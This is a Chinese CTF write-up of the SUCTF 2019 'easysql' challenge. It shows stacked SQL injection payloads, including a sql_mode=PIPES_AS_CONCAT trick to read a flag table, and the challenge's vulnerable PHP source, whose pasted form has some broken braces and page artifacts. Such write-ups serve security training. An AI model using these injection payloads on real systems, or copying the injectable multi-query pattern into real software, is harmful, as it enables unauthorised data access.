CTFHub_SUCTF-2019-Web-easysql(堆疊注入)
阿新 • • 發佈:2022-03-11
開啟靶場,顯示如下
burp跑一遍sql關鍵字,以下響應長度是629的是本題過濾的欄位
經過測試,發現未過濾堆疊注入
查看錶名
1;show tables;#
方法一
看wp知道後端查詢語句如下,這是一種非預期解的方法:
$sql = "select ".$post['query']."||flag from Flag";
所以我們前端構造語句 *,1
這樣sql的語句就是這樣的了
select *,1||flag from Flag
方法二
通過堆疊注入將sql_mode的值設定為PIPES_AS_CONCAT,從而將 || 視為字串的連線操作符而非或運算子
payload:
query=1;set sql_mode=PIPES_AS_CONCAT;select 1
這樣在進行查詢的時候將||運算子當成連線符成這樣的語句
select 1,flag from Flag
附 原題再現
<?php session_start(); include_once "config.php"; $post = array(); $get = array(); global $MysqlLink; //GetPara(); $MysqlLink = mysqli_connect("localhost",$datauser,$datapass); if(!$MysqlLink){ die("Mysql Connect Error!"); } $selectDB = mysqli_select_db($MysqlLink,$dataName); if(!$selectDB){ die("Choose Database Error!"); } foreach ($_POST as $k=>$v){ if(!empty($v)&&is_string($v)){ $post[$k] = trim(addslashes($v)); } } foreach ($_GET as $k=>$v){ } } //die();View Code?> <html> <head> </head> <body> <a> Give me your flag, I will tell you if the flag is right. </ a> <form action="" method="post"> <input type="text" name="query"> <input type="submit"> </form> </body> </html> <?php if(isset($post['query'])){ $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\""; //var_dump(preg_match("/{$BlackList}/is",$post['query'])); if(preg_match("/{$BlackList}/is",$post['query'])){ //echo $post['query']; die("Nonono."); } if(strlen($post['query'])>40){ die("Too long."); } $sql = "select ".$post['query']."||flag from Flag"; mysqli_multi_query($MysqlLink,$sql); do{ if($res = mysqli_store_result($MysqlLink)){ while($row = mysqli_fetch_row($res)){ print_r($row); } } }while(@mysqli_next_result($MysqlLink)); }?>
參考:https://www.cnblogs.com/xhds/p/12286119.html